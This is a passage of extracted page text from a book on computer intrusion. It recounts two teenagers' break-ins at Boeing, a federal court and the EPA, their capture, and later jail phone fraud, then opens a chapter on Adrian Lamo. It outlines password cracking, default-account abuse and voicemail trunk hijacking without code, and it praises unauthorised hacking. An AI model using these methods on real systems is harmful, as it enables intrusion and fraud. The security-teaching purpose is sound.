            "text": "Guarding the Barricades\nAt that moment, Boeing Aircraft was hosting a high-level computer secu-\nrity seminar for an audience that included people from corporations, law\nenforcement, FBI, and the Secret Service. \nOverseeing the session was Don Boelling, a man intimate with Boeing’s\ncomputer security measures and the efforts to improve them. Don had\nbeen fighting the security battles internally for a number of years. “Our\nnetwork and computing security was like everywhere else, it was basically\nzip. And I was really concerned about that.” \nAs early as 1988, when he was with the newly formed Boeing\nElectronics, Don had walked into a meeting with the division president\nand several vice presidents and told them, “Watch what I can do with\nyour network.” He hacked modem lines and showed that there were no\npasswords on them, and went on to show he could attack whatever\nmachines he wanted. The executives saw one computer after another that\nhad a guest account with a password of “guest.” And he showed how an\naccount like that makes it easy to access the password file and download\nit to any other machine, even one outside the company.\nHe had made his point. “That started the computing security program at\nBoeing,” Don told us. But the effort was still in its infancy when Matt and\nCosta began their break-ins. He had been having “a hard time convincing\nmanagement to really put resources and funding into computing security.”\nThe Matt and Costa episode would prove to be “the one that did it for me.”\nHis courageous role as a spokesman for security had led to Don organ-\nizing the groundbreaking computer forensics class at Boeing. “A gov-\nernment agent asked us if we wanted to help start a group of law\nenforcement and industry people to generate information. The organiza-\ntion was designed to help train law enforcement in computer technology\nforensics, involving high-tech investigations techniques. So I was one of\nthe key players that helped put this together. We had representatives from\nMicrosoft, US West, the phone company, a couple of banks, several dif-\nferent financial organizations. Secret Service agents came to share their\nknowledge of the high-tech aspects of counterfeiting.” \nDon was able to get Boeing to sponsor the sessions, which were held\nin one of the company’s computer training centers. “We brought in\nabout thirty-five law enforcement officers to each week-long class on how\nto seize a computer, how to write the search warrant, how to do the\nforensics on the computer, the whole works. And we brought in Howard\nSchmidt, who later was recruited onto the Homeland Security force,\nanswering to the President for cyber-crime stuff.”\nOn the second day of the class, Don’s pager went off. “I called back\nthe administrator, Phyllis, and she said, ‘There’s some strange things\nChapter 4\nCops and Robbers\n75\n"
        },
        {
            "page_number": 97,
            "text": "going on in this machine and I can’t quite figure it out.” A number of\nhidden directories had what looked like password files in them, she\nexplained. And a program called Crack was running in the background.\nThat was bad news. Crack is a program designed to break the encryp-\ntion of passwords. It tries a word list or a dictionary list, as well as per-\nmutations of words like Bill1, Bill2, Bill3 to try to discern the password. \nDon sent his partner, Ken (“our Unix security guru”) to take a look.\nAbout an hour later, Ken paged Don and told him, “You better get up\nhere. This looks like it might be pretty bad. We’ve got numerous pass-\nwords cracked and they don’t belong to Boeing. There’s one in particu-\nlar you really need to look at.”\nMeanwhile, Matt had been hard at work inside the Boeing computer\nnetworks. Once he had obtained access with system administrator privi-\nleges, “it was easy to access other accounts by looking into some of the\nother machines those people had accessed.” These files often had tele-\nphone numbers to software vendors and other computers the machine\nwould call. “A primitive directory of other hosts that were out there,”\nsays Matt. Soon the two hackers were accessing the databases of a variety\nof businesses. “We had our fingers in a lot of places,” Costa says.\nNot wanting to leave the seminar, Don asked Ken to fax down what he\nwas seeing on the administrator’s screen. When the transmission arrived,\nDon was relieved not to recognize any of the user IDs. However, he was\npuzzled over the fact that many of them began with “Judge.” Then it\nhit him:\nI’m thinking, “Oh my God!” I walked into this classroom full of\nlaw enforcement officers and said, “Do you guys recognize any of\nthese names?” I read off a list of the names. One federal officer\nexplained, “Those are judges in the U.S. District Court in\nSeattle.” And I said, “Well, I have a password file here with 26\npasswords cracked.” Those federal officers about turned green. \nDon watched as an FBI agent he’d worked with in the past made a few\nphone calls.\nHe calls up the U.S. District Court and gets hold of the system\nadministrator. I can actually hear this guy on the other end of the\nline going, “No, no way. We’re not connected to the Internet.\nThey can’t get our password files. I don’t believe it’s our\nmachine.” And Rich is saying, “No, it is your machine. We’ve got\nthe password files.” And this guy is going, “No, it can’t happen.\nPeople can’t get into our machines.” \nThe Art of Intrusion\n76\n"
        },
        {
            "page_number": 98,
            "text": "Don looked down at the list in his hand and saw that the root pass-\nword — the top-level password known only to system administrators —\nhad been cracked. He pointed it out to Rich.\nRich says into the telephone, “Is your root password ‘2ovens’?”\nDead silence on the other end of the line. All we heard was a\n“thunk” where this guy’s head hit the table.\nAs he returned to the classroom, Don sensed a storm brewing. “I said,\n‘Well, guys, it’s time for some on-the-job real life training.’”\nWith part of the class tagging along, Don prepared for battle. First, he\nwent to the computer center in Bellevue where the firewall was located.\n“We found the account that was actually running the Crack program, the\none the attacker was logging in and out of, and the IP address he was\ncoming from.”\nBy this time, with their password-cracking program running on the\nBoeing computer, the two hackers had moved into the rest of Boeing’s\nsystem, “spider-webbing” out to access hundreds of Boeing computers. \nOne of the computers that the Boeing system connected to wasn’t even\nin Seattle. In fact, it was on the opposite coast. According to Costa:\nIt was one of the Jet Propulsion lab computers at NASA’s Langley\nResearch Labs in Virginia, a Cray YMP5, one of the crown jew-\nels. That was one of our defining moments.\nAll kinds of things cross your mind. Some of the secrets could make\nme rich, or dead, or really guilty. \nThe folks in the seminar were taking turns watching the fun in the\ncomputer center. They were stunned when the Boeing security team dis-\ncovered their attackers had gotten access to the Cray, and Don could\nhardly believe it. “We were able to very quickly, within an hour or two,\ndetermine that access point and the access points to the firewall.”\nMeanwhile, Ken set up virtual traps on the firewall in order to determine\nwhat other accounts the attackers had breached.\nDon rang the local phone company and asked to have a “trap and\ntrace” put on the Boeing modem lines that the attackers were using. This\nis a method that would capture the phone number that the calls were\noriginating from. The telephone people agreed without hesitation.\n“They were part of our team and knew who I was, no questions asked.\nThat’s one of the advantages of being on these law enforcement teams.”\nDon put laptops in the circuits between the modems and the comput-\ners, “basically to store all the keystrokes to a file.” He even connected\nChapter 4\nCops and Robbers\n77\n"
        },
        {
            "page_number": 99,
            "text": "Okidata printers to each machine “to print everything they did in real\ntime. I needed it for evidence. You can’t argue with paper like you can\nwith an electronic file.” Maybe it’s not surprising when you think about\nwhich a panel of jurors is more likely to believe: an electronic file or a\ndocument printed out at the very time of the incident.\nThe group returned to the seminar for a few hours where Don outlined\nthe situation and defensive measures taken. The law enforcement officers\nwere getting hands-on, graduate-level experience in computer forensics.\n“We went back up to do some more work and check on what we had,\nand while I was standing there with two federal officers and my partner,\nthe modem goes off. Bingo, these guys came in, logged in on the\naccount,” Don said.\nThe local phone company tracked Matt and Costa to their homes. The\nteam watched as the hackers logged into the firewall. They then trans-\nferred over to the University of Washington, where they logged in to\nMatt Anderson’s account. \nMatt and Costa had taken precautions that they thought would protect\ntheir calls from being traced. For one thing, instead of dialing Boeing\ndirectly, they were calling into the District Court computers and then\nrouting a call from the Court to Boeing. They figured that “if there was\nsomeone monitoring us at Boeing, they were probably having a rough\ntime figuring out where our call was originating from,” Costa said.\nThey had no idea their every move was being watched and recorded as\nMatt dialed into the Court, from there to Boeing, and then transferred\nto his personal student account. \nSince we were so new on [the District Court] system and the pass-\nword and user name were “public,” at the time I didn’t think it\nwas a threat, or I was being lazy. That direct dial is what gave\nthem the trace to my apartment and that’s where everything \nfell apart.\nDon’s team felt like the proverbial fly on the wall as Matt started read-\ning the email on his student account. “In this guy’s email is all this stuff\nabout their hacker exploits and responses from other hackers.”\nThe law enforcement officers are sitting there laughing their asses\noff, ’cause these are basically arrogant kids, not considering\nthey’d get caught. And we’re watching them real time produce\nevidence right there in our hands.\nMeanwhile, Don was ripping the sheets off the printer, having every-\nbody sign as a witness, and sealing then as evidence. “In less than six\nThe Art of Intrusion\n78\n"
        },
        {
            "page_number": 100,
            "text": "hours from the point we knew we had this intrusion, we already had these\nguys on criminal trespass.”\nBoeing management was not laughing. “They were scared out of their\nwits and wanted the hackers terminated — ‘Get them off the computers\nand shut all this off right now.’” Don was able to convince them it would\nbe wiser to wait. “I said, ‘We don’t know how many places these guys\nhave gotten into. We need to monitor them for a while and find out what\nthe heck is going on and what they’ve done.’” When you consider the\nrisk involved, it was a remarkable testament to Don’s professional skills\nthat management capitulated.\nUnder Surveillance\nOne of the federal officers attending the seminar obtained warrants for tap-\nping Matt and Costa’s telephones. But the wiretaps were only one part of\nthe effort. By this time the federal government was taking the case very\nseriously. The action had assumed aspects of a spy movie or a crime thriller:\nFBI agents were sent to the campus in teams. Posing as students, they fol-\nlowed Matt around campus, noting his actions so they would later be able\nto testify that at some particular time, he was using one particular computer\non campus. Otherwise it would be easy to claim, “That wasn’t me — lots\nof people use that computer every day.” It had happened before.\nOn the Boeing side, the security team took every precaution they could\nthink of. The goal wasn’t to keep the boys out but to watch closely, con-\ntinuing to gather evidence while making sure they didn’t do any damage.\nDon explains, “We had all of our computers’ main entry points set up to\nwhere either the system administrator or the computer would page us\nand let us know some activity was going on.” The pager’s beep became\na cry to “battle stations.” Team members immediately notified select\nindividuals on a call list to let them know the hackers were on the prowl\nagain. Several times, Don’s group electronically tracked Matt and Costa’s\nactivity through the University of Washington — where key staff had\nbeen briefed — all the way through the Internet, from point to point. It\nwas like being beside the two as they made the actual break in.\nDon decided to watch them for another four or five days because “basi-\ncally we had them fairly well contained and they weren’t doing anything\nthat I would consider extremely dangerous, though they had consider-\nable access and could have if they wanted to.”\nBut Costa soon learned something was up:\nOne night my girlfriend and I were sitting in my apartment\nwatching TV. It was a summer night, and the window was open,\nand it’s funny but she looked outside ... and noticed a car in the\nChapter 4\nCops and Robbers\n79\n"
        },
        {
            "page_number": 101,
            "text": "parking lot of the Pay & Save. Well, about an hour later, she\nlooked out again and said, “There’s a car outside with guys in it\nthat was out there an hour ago.”\nCosta turned off the TV and lights and proceeded to videotape the FBI\nagents watching his place. A little later, he saw a second car pull up next\nto the first one. The men in the two cars discussed something and then\nboth drove off. \nThe next day, a team of officers showed up at Costa’s apartment. When\nhe asked, they acknowledged that they didn’t have a warrant, but Costa\nwanted to look like he was cooperating so didn’t object to being inter-\nviewed. He didn’t object, either, when they asked him to call Matt and\ndraw him out about the cell phone activities, while they recorded the\nconversation. \nWhy was he willing to call his closest friend and talk about their illegal\nactivities with law enforcement listening in? Simple: Joking around one\nnight, playing a variation of “What if?” the two had actually anticipated a\nsituation in which it might be hazardous to talk freely and had devised a\ncode. If one of them dropped “nine, ten” into the conversation, it would\nmean “Danger! watch what you say.” (They chose the number as easy to\nremember, being one less than the emergency phone number, 911.) \nSo with the phone tapped and the recorder running, Costa dialed Matt.\n“I called you a few minutes ago, at nine-ten, and couldn’t get through,”\nhe began. \nClosing In\nThe Boeing surveillance team had by now discovered the hackers were\nnot only getting into the U.S. District Court, but also into the\nEnvironmental Protection Agency. Don Boelling went to the EPA with\nthe bad news. Like the system administrator for the U.S. District Court,\nthe EPA guys were skeptical of any infringement of their system.\nWe’re telling them their machines were compromised and to them\nit was inconceivable. They’re saying, “No, no.” I happened to\nbring the password file with 10 or 15 passwords cracked, and I tell\nthem the network administrator’s password. \nThey’re about ready to throw up because it turns out that all six-\nhundred–odd machines across the U.S. are attached to the\nInternet by the same account. It was a system privilege root\naccount and they all had the same password. \nThe Art of Intrusion\n80\n"
        },
        {
            "page_number": 102,
            "text": "The law enforcement people attending the computer security seminar\nwere getting far more than they had bargained for. “For the guys that\ndidn’t go out with us in the field,” Don said, “every day we’d go back to\nthe classroom and detail what we did. They were getting a firsthand\naccount of everything that was going on with the case.”\nThe Past Catches Up\nBecause he was impressed with the skill that the hackers had shown, Don\nwas surprised to learn that they had just two months earlier been in court\non other charges, resulting in Costa receiving that sentence to 30 days of\nwork release. \nAnd yet here they were back to breaking the law as if invulnerable.\nHow come? Costa explained that he and Matt were already worried\nbecause there was so much more to the original case than the prosecu-\ntors had found out.\nIt was kind of a big snowball where they only found a little piece\nof ice. They didn’t know that we were doing the cell phones, they\ndidn’t know that we had credit card numbers, they didn’t know\nthe scope of what they had caught us for. Because Matt and I had\nalready talked about our case, we talked about what we were\ngoing to tell them. And so we had pled out to this computer tres-\npass and it was just kinda like a “ha-ha” to us. It was stupid.\nOn the News\nDon was driving from Bellevue to the Boeing’s South Central facility\nwhere his office was when he got a shock. “I had KIRO news on and all\nof a sudden I hear this breaking story that two hackers have busted into\nBoeing and there’s a federal investigation. I’m thinking, ‘Damn!’”\nThe story had been leaked by a Boeing employee unhappy with the\ndecision to watch Matt and Costa’s activities rather than arrest them\nimmediately, Don later found out. Don raced to his office and called\neveryone involved. “I said, ‘Look, this whole thing has broke! It’s on the\nnews! We gotta do something now.’ Howard Schmidt was there and being\nan expert on writing search warrants for computers, he stepped in and\nhelped them so they got it right — so there wasn’t any question about it.”\nIn fact, Don wasn’t too upset about the leak. “We were pretty close to\nbusting them anyway. We had plenty, tons of evidence on these guys.”\nBut he suspected there was even more that hadn’t come to light yet.\n“There’s a few things we figured they were into, like credit card fraud.\nChapter 4\nCops and Robbers\n81\n"
        },
        {
            "page_number": 103,
            "text": "Later on they did get caught for that. I think it was six months or a year\nlater that the Secret Service nailed them.”\nArrested\nCosta knew it had to be coming soon, and he wasn’t surprised by the\nheavy-handed knock on his apartment door. By then he had already dis-\nposed of four notebooks full of incriminating evidence. At that point he\nhad no way of knowing that, thanks to Don Boelling, the Feds had all the\nevidence they would ever need to convict him and Matt.\nMatt remembers seeing the story about a computer break-in at Boeing\non television at his parents’ home. Around 10 P.M., there was a knock on\nthe front door. It was two FBI agents. They interviewed him in the din-\ning room for about two hours while his parents slept upstairs. Matt didn’t\nwant to wake them. He was scared to.\nDon Boelling would have gone along on the arrest if he could have.\nDespite all his good connections, he wasn’t invited. “They weren’t too\nkeen about having civilians go on the actual bust.”\nBoeing was concerned to learn that one of the hackers had a name that\nmatched an employee’s. Matt was not happy to see his father dragged into\nthe mess. “Since Dad worked at Boeing and we share the same name, he\nactually was interrogated.” Costa was quick to point out that they’d been\ncareful not to access Boeing using any of Matt’s father’s information. “He\ntotally kept his dad out of the loop and didn’t want to involve him from\nthe get-go, even before we ever thought we’d be in trouble.”\nDon was a little miffed when the Special Agent in Charge at the FBI’s\nSeattle office was interviewed after the case broke. One of the TV\nreporters asked how they had tracked and caught the hackers. The agent\nanswered something like, “The FBI used technical procedures and tech-\nniques too complicated to discuss here.” Don thought to himself,\n“You’re full of crap! You didn’t do anything! We did it!’” A whole coor-\ndinated group had been involved, people from Boeing;, from other com-\npanies; from the District Court; and from local, state, and federal law\nenforcement agencies. “This was the first time we’d ever done anything\nlike this. It was a team effort.” \nLuckily, Matt and Costa had done little damage considering the poten-\ntial havoc they could have inflicted. “As far as actually harming Boeing,\nthey really didn’t do that much,” Don acknowledged. The company got\noff easy but wanted to make sure the lesson was learned. “They pled\nguilty because basically we had them dead to rights. There was no way\nthey were getting out of this one,” Don recalls with satisfaction.\nBut once again the charges were reduced; this time multiple felony\ncharges being dropped to “computer trespass.” The two walked out with\nThe Art of Intrusion\n82\n"
        },
        {
            "page_number": 104,
            "text": "another slap on the wrist: 250 hours of community service and five years\nprobation with no use of computers allowed. The one tough part was\nrestitution: They were ordered to pay $30,000, most of it to Boeing.\nEven though neither was still a juvenile, the boys had been given another\nchance.\nAn End to Good Luck\nThey hadn’t learned a lesson. \nCosta: Instead of stopping altogether, being stupid kids that we\nwere, or not really stupid but naive in the fact that we didn’t\nrealize how much trouble we could get in. It was not really greed\nbut more of glamour of being able to have a cell phone and use it\nat will.\nMatt: Back in that day it was a big deal. It was a very glitzy item\nto have.\nBut the breaks that Matt and Costa were being handed by the criminal\njustice system were about to end. And the cause would not be for any\nreason they could have anticipated but, of all things, jealousy.\nCosta says his then-girlfriend thought he was cheating on her with\nanother woman. Nothing of the kind, says Costa; the other lady was “just\na friend, nothing more.” When he wouldn’t give up seeing her, Costa\nbelieves the girlfriend called the authorities and reported that “the\nBoeing hackers are selling stolen computers.”\nWhen investigators showed up at his mother’s home, Costa wasn’t in\nbut his mother was. “Oh, yes, come on in,” she told them, sure there\nwould be no harm. \nThey didn’t find any stolen property. That was the good news. The bad\nnews was that they found a scrap of paper that had fallen to the floor and\nbeen lost to sight under the edge of a carpet. On it was a phone number\nand some digits that one investigator recognized as an electronic serial\nnumber. A check with the phone company revealed that the information\nwas associated with a cell phone account that was being used illegally.\nCosta heard about the raid on his mother’s home and decided to drop\nout of sight.\nI was on the run for five days from the Secret Service — they had\njurisdiction over cellular phone fraud. I was a fugitive. And so I\nwas actually staying at a friend’s apartment in Seattle and they\nhad actually come to the apartment looking for me, but the car\nChapter 4\nCops and Robbers\n83\n"
        },
        {
            "page_number": 105,
            "text": "that I was driving was still in the name of the person that previ-\nously owned it, so I didn’t get caught. \nOn the fifth or sixth day, I talked to my attorney and I walked\ninto the Probation Officer’s office with him and turned myself in.\nI was arrested and taken away.\nRunning from the Secret Service — that was a stressful time.\nMatt was picked up, as well. The two found themselves on separate\nfloors of Seattle’s King County Jail.\nJail Phreaking\nThis time there would be no trial, the boys learned. Once the investigation\nhad been finished and the U.S. Attorney’s Office had drawn up the papers,\nthe pair would go before a federal judge on violation of their probation. No\ntrial, no chance to put on a defense, and not much hope of leniency.\nMeanwhile they would each be questioned in detail. They knew the\ndrill: Keep the bad guys separated and trip them up when they tell dif-\nferent stories.\nMatt and Costa found that jail, for them at least, was a harder place\nthan prison to serve time. “County jail is the worst, like no other place.\nI was threatened by a couple of people,” says Costa. “I actually got in a\nfight. If you don’t bark back, then you’re gonna get chewed up.” Matt\nremembers getting punched. “I think it was because I didn’t get off the\nphone. So, lesson learned.”\nJail was hard in another way. Costa recalls:\n[It was] not knowing what was next, ’cause we had gotten in\ntrouble already and we knew we were in trouble way more. It was\nfear of the unknown more than fear of the inmates. They just said\n“lock ’em up” and there was no bail, no bond. It was a Federal\nhold. We had no idea where we were going from there and we were\nindefinitely locked up.\nJails generally have two types of telephones: pay phones where conver-\nsations are monitored to make sure inmates are not plotting something\nillegal and phones that connect directly to the Public Defenders Office so\nthat inmates can talk to their lawyers.\nAt the Seattle jail, calls to the Public Defenders are dialed from a list of\ntwo-digit codes. Matt explained, “But if you call after hours, what do you\nget? You’re in their voicemail system and you can enter as many touch\ntones as you like.” He began exploring the voicemail system.\nThe Art of Intrusion\n84\n"
        },
        {
            "page_number": 106,
            "text": "He was able to identify the system as a Meridian, a type he and Costa\nwere both very familiar with, and he programmed it so it would transfer\nhis calls to an outside line. “I set up a menu number eight, which the\nautomated voice announcement didn’t prompt for. Then I could dial a\nlocal number, and a six-digit code I knew. From there I could call any-\nwhere in the world.”\nEven though the phones were turned off at 8 P.M., the Public\nDefenders line was always left on. “We would just play with the phones\nall night and there’s nobody waiting to use them because they think\nthey’re turned off,” says Costa. “They just think you’re crazy, sitting\nthere with the phone. So, it just worked out perfectly.”\nWhile Costa was discovering how to make outside calls, Matt was also\nusing the telephone on his own unit at night to do some exploring of his\nown. He located a “bridge number in an old loop” of a Pennsylvania tele-\nphone company, which allowed both to call in on a phone company test\nnumber and talk to each other.\nThe two spent hours on the unmonitored phones talking to one\nanother. “We had the ability to discuss our case prior to our interviews.\nThat was handy, really handy,” says Costa. Matt added, “We would dis-\ncuss forever what the other side was being told. We wanted to have every-\nthing corroborated.”\nWord spread among the inmates that the two new kids were wizards\nwith the phones.\nCosta: I got kinda fat in there because other people were giving\nme their trays for free phone calls.\nMatt: I was starting to get skinny because I was nervous. I was\nsitting there with all the thugs and I didn’t like giving them all\nthose calls.\nSitting in jail and breaking the law by making illegal phone calls and\nplanning their stories in hopes of deceiving the prosecutors. To any\nhacker, that’s just plain funny. For Matt and Costa, it meant risking more\ncharges being piled on top of the ones they were already facing. \nIn the end, their efforts at collusion didn’t help. The facts were stacked\nhigh against them, and this time they were in front of a judge who wasn’t\ngoing to hand them just another slap on the wrist. They were each sen-\ntenced to serve “a year and a day” in a federal facility, with credit for time\nalready served in the county jail. The extra “day” of prison time was of\nsubstantial benefit to them. Under federal sentencing laws, that made\nthem eligible to be released up to 54 days earlier for good behavior.\nChapter 4\nCops and Robbers\n85\n"
        },
        {
            "page_number": 107,
            "text": "The two were held without bond for three and a half months, then\nreleased on their own recognizance under a heavy set of restrictions until\nthe judge decided on a sentence. Don was right: no leniency this time. \nDoing Time\nMatt was sent to the Sheridan Camp in Oregon, while Costa went to\nBoron Federal Prison Camp in California. “It was federal because we vio-\nlated our terms of probation on a federal charge,” says Costa.\nNevertheless, this wasn’t exactly “hard time” for either of them. As\nCosta recalls:\nI knew I had it cushy. This was a prison camp that had a swim-\nming pool. In the middle of the Mojave, that was kinda nice. We\ndidn’t have a fence, just a yellow line in the sand. It was one of these\nplaces that, you know, had three senators down there. There was the\nguy that started a famous restaurant chain in there with me. \nBoron was the last federal institution with a pool, and Costa heard later\nthat a Barbara Walters television story had resulted in the pool being\nfilled in just after he was released. Personally I can understand not spend-\ning taxpayer money to put in a swimming pool when a new prison is\nbeing built, but I can’t understand destroying one that already exists. \nAt the Sheridan prison, Matt found out another inmate was a former\nexecutive from Boeing. “He got in trouble for some type of embezzle-\nment or white collar crime.” It seemed somehow ironic.\nCosta and other Boron inmates were frequently driven half an hour\nacross the desert in a steaming prison bus to do menial labor at nearby\nEdwards Air Force Base. “They put me in an army hangar where they had\na VAX server. I wasn’t even supposed to be near a computer.” He alerted\nthe sergeant. “I told him my story and he’s like, ‘Oh, go ahead.’” Costa\nwasted no time getting acquainted with the military computer. “I was\ngetting on the IRC every day and chatting away while I was locked up. I\nwas downloading Doom at high speed. It was amazing, great!”\nAt one point Costa was assigned to clean out a classified communications\nvan filled with sensitive electronics. “I just couldn’t believe they were let-\nting us do this.”\nOn one level, their prison time sounds like a lark, almost a joke. It wasn’t.\nEvery month they spent inside was a month of life wasted, a month of\neducation missed, a month apart from people they cared about and\nwanted to be with. Every morning a prisoner starts his day wondering if\ntoday will bring a fistfight to defend himself or his property. Jail and\nprison can be terrifying.\nThe Art of Intrusion\n86\n"
        },
        {
            "page_number": 108,
            "text": "What They’re Doing Today\nA decade after they were released, both seem to be settled into more tra-\nditional lives. Matt is currently working for a large company in San Jose\nas a Java application developer. Costa has his own company and sounds\nquite busy, “setting up digital surveillance systems and distributed audio\nclients (slimdevices) for businesses.” He’s found work that he’s well\nsuited for; people bored with their jobs would be envious that he is, he\nsays, “enjoying every minute.” \nINSIGHT\nIt seems amazing in today’s world that hackers still find it so easy to\nsaunter into so many corporate Web sites. With all the stories of break-ins,\nwith all the concern about security, with dedicated, professional security\npeople on staff or consulting to companies large and small, it’s shocking\nthat this pair of teenagers were skillful enough to find their way into the\ncomputers of a federal court, a major hotel chain, and Boeing Aircraft.\nPart of the reason this happens, I believe, is that many hackers follow a\npath like I did, spending an inordinate amount of time learning about\ncomputer systems, operating system software, applications programs,\nnetworking, and so on. They are largely self-taught but also partly men-\ntored in an informal but highly effective “share the knowledge” tutoring\narrangement. Some barely out of junior high have put in enough time\nand gained enough knowledge in the field that they qualify for a Bachelor\nof Science in Hacking degree. If MIT or Cal Tech awarded such a degree,\nI know quite a few I would nominate to sit for the graduation exam.\nNo wonder so many security consultants have a secret past as a black-hat\nhacker (including more than a couple whose stories appear in these pages).\nCompromising security systems requires a particular type of mindset that\ncan thoughtfully analyze how to cause the security to fail. Anybody trying\nto enter the field strictly on the basis of classroom learning would require\na lot of hands-on experience, since he or she would be competing with\nconsultants who started their education in the subject at age 8 or 10.\nIt may be painful to admit, but the truth is that everyone in the security\nfield has a lot to learn from the hackers, who may reveal weakness in the\nsystem in ways that are embarrassing to acknowledge and costly to address.\nThey may break the law in the process, but they perform a valuable serv-\nice. In fact, many security “professionals” have been hackers in the past.\nSome will read this and put it down to Kevin Mitnick, the one-time\nhacker, simply defending today’s generation of hackers. But the truth is\nthat many hacker attacks serve the valuable purpose of exposing weak-\nnesses in a company’s security. If the hacker has not caused any damage,\nChapter 4\nCops and Robbers\n87\n"
        },
        {
            "page_number": 109,
            "text": "committed a theft, or launched a denial-of-service attack, has the com-\npany suffered from the attack, or benefited by being made to face up to\ntheir vulnerabilities?\nCOUNTERMEASURES\nEnsuring proper configuration management is a critical process that\nshould not be ignored. Even if you properly configure all hardware and\nsoftware at the time of installation and you keep up-to-date on all essen-\ntial security patches, improperly configuring just a single item can create\na crack in the wall. Every organization should have an established proce-\ndure for ensuring that IT personnel who install new computer hardware\nand software, and telecom personnel who install telephone services, are\nthoroughly trained and regularly reminded, if not tested, on making cer-\ntain security is ingrained in their thinking and behavior. \nAt the risk of sounding — here and elsewhere — as if we’re promoting\nour earlier book, The Art of Deception (Wiley Publishing, Inc., 2002) pro-\nvides a plan for employee computer-security awareness training. Systems\nand devices should be security tested prior to being put into production.\nI firmly believe that relying only on static passwords should be a prac-\ntice of the past. A stronger form of security authentication, using some\nkind of physical device such as time-based token or a reliable biometric,\nshould be used in conjunction with a strong personal password —\nchanged often — to protect systems that process and store valuable infor-\nmation. Using a stronger form of authentication doesn’t guarantee it\ncan’t be hacked, but at least it raises the bar. \nOrganizations that continue to use only static passwords need to pro-\nvide training and frequent reminders or incentives that will encourage\nsafe password practices. Effective password policy requires users to con-\nstruct secure passwords containing at least one numeral, and a symbol or\nmixed-case character, and to change them periodically. \nA further step requires making certain that employees are not catering to\n“lazy memory” by writing down the password and posting it on their mon-\nitor or hiding it under the keyboard or in a desk drawer — places any expe-\nrienced data thief knows to look first. Also, good password practice requires\nnever using the same or similar password on more than one system.\nTHE BOTTOM LINE\nLet’s wake up, people. Changing default settings and using strong pass-\nwords might stop your business from being victimized. \nThe Art of Intrusion\n88\n"
        },
        {
            "page_number": 110,
            "text": "But this isn’t just user stupidity. Software manufacturers have not made\nsecurity a higher priority than interoperability and functionality. Sure,\nthey put careful guidelines in the user guides and the installation instruc-\ntions. There’s an old engineering saying that goes, “When all else fails,\nread the instructions.” Obviously, you don’t need an engineering degree\nto follow that bad rule.\nIt’s about time that manufacturers began getting wise to this perennial\nproblem. How about hardware and software manufacturers starting to\nrecognize that most people don’t read the documentation? How about\nproviding a warning message about activating the security or changing\nthe default security settings that pops up when the user is installing the\nproduct? Even better, how about making it so the security is enabled by\ndefault? Microsoft has done this recently — but not until late 2004, in\nthe security upgrade to Windows XP Professional and Home editions\nwith their release of “Service Pack 2,” in which the built-in firewall is\nturned on by default. Why did it take so long? \nMicrosoft and other operating system manufactures should have\nthought about this years ago. A simple change like this throughout the\nindustry might make cyberspace a little safer for all of us.\nChapter 4\nCops and Robbers\n89\n"
        },
        {
            "page_number": 111,
            "text": ""
        },
        {
            "page_number": 112,
            "text": "91\nChapter 5\nThe Robin Hood Hacker \n[Hacking] has always been for me less about technology and more about\nreligion.\n— Adrian Lamo\nH\nacking is a skill. Anyone can acquire this skill through self-\neducation. In my personal view, hacking is a creative art —\nfiguring out ways to circumvent security in clever ways, just\nlike lock-picking enthusiasts try to circumvent locking mechanisms for\nthe pure entertainment value. Individuals could hack without breaking\nthe law. \nThe distinction lies on whether the owner has given permission to the\nhacker to attempt to infiltrate the owner’s computer systems. There are\nmany ways people can hack, albeit with permission of the “victim.” Some\nknowingly break the law but are never caught. Some run the risk and\nserve prison time. Virtually all hide their identities behind a moniker —\nthe online version of a nickname.\nThen there are the few like Adrian Lamo, who hack without masking\ntheir identity and when they find a flaw in some organization’s security,\ntell them about it. These are the Robin Hoods of hacking. They should\nnot be incarcerated but celebrated. They help companies wake up before\nsome hacker of the malicious type does the company serious damage.\nThe list of organizations that the federal government says Adrian Lamo\nhas hacked into is, to say the least, impressive. It includes Microsoft,\nYahoo!, MCI WorldCom, Excite@Home, and telephone companies SBC,\nAmeritech, and Cingular.1And the venerable New York Times.\n"
        },
        {
            "page_number": 113,
            "text": "Okay, yes, Adrian has cost companies money, but not nearly as much\nmoney as the prosecutors claimed. \nRescue\nAdrian Lamo was not a typical “let’s hang out at the mall” kind of teen.\nLate one night, for example, he and friends were exploring a large aban-\ndoned industrial complex located on some river banks. With no particular\nagenda in mind, they wandered through a vast, decrepit plant and quickly\nbecame lost. It was about two in the morning before they found their way\nout of the maze. As they crossed a defunct railroad line alongside tomb-\nstones of rusting industrial machinery, Adrian heard faint cries. Though\nhis friends just wanted to get out of there, Adrian’s curiosity was piqued.\nFollowing the plaintive sound brought him to a dirty storm drain. The\nfaint light was just enough to see into its dark recesses, where a tiny kit-\nten was trapped in the bottom, yowling for all its worth.\nAdrian called directory assistance on his cell phone for the number of\nthe police department.  Just then a police cruiser’s spotlight blinded the\ngroup. \nThe guys were dressed in what Adrian describes as “urban exploration\ngear — you know, gloves and dirty over-clothes. Not the sort of clothing\nthat inspires confidence and goodwill with law enforcement.” Adrian also\nbelieves that as a teenager, he looked somewhat suspicious, and “We may\nor may not have had things on us that could have resulted in arrest,” he\nsays. Options raced through Adrian’s head; they could submit to a long\nstring of questions and possible arrest, run, or ... a plan came to him.\nI flagged them down and said, “Hey, there’s this kitten in the\nstorm drain. I could sure use your help.” Fast forward two hours\nlater, none of us has been searched — the suspicious circumstances\nforgotten.\nTwo police cruisers and one animal control vehicle later, the bedrag-\ngled kitten was lifted to safety in a net at the end of a long pole. The\npolice gave the kitten to Adrian, who took it home, cleaned it up, and\nnamed it “Alibi.” His friends called it “Drano.”\nLater, Adrian reflected on the encounter. As somebody who doesn’t\nbelieve in coincidence, he’s certain they’d all been exactly where they\nwere meant to be at the moment. He views his “almost transcendental”\ncomputer experiences the same way: There are no accidents.\nIt’s interesting that Adrian also sees the kitten ordeal as a parallel to\nwhat hackers do. Words like “adapt,” “improvise,” and “intuition” come\nThe Art of Intrusion\n92\n"
        },
        {
            "page_number": 114,
